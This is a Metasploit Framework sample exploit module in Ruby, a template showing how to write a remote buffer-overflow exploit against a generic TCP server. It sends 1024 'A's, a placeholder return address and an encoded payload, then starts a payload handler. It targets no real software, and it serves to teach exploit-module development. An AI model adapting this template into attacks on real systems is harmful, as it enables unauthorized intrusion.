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jduck more cleanups d83d7a8 May 3, 2010
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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
module Msf
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Exploits::Sample < Msf::Exploit::Remote
#
# This exploit affects TCP servers, so we use the TCP client mixin.
#
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an TCP server that has a parsing bug.
},
'Author' => 'skape',
'Version' => '$Revision$',
'References' =>
[
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Targets' =>
[
# Target 0: Windows All
[
'Windows Universal',
{
'Platform' => 'win',
'Ret' => 0x41424344
}
],
],
'DefaultTarget' => 0))
end
#
# The sample exploit just indicates that the remote host is always
# vulnerable.
#
def check
return Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 A's
# followed by the fake return address and then the payload.
#
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
# Build the buffer for transmission
buf = "A" * 1024
buf += [ target.ret ].pack('V')
buf += payload.encoded
# Send it off
sock.put(buf)
sock.get
handler
end
end
end
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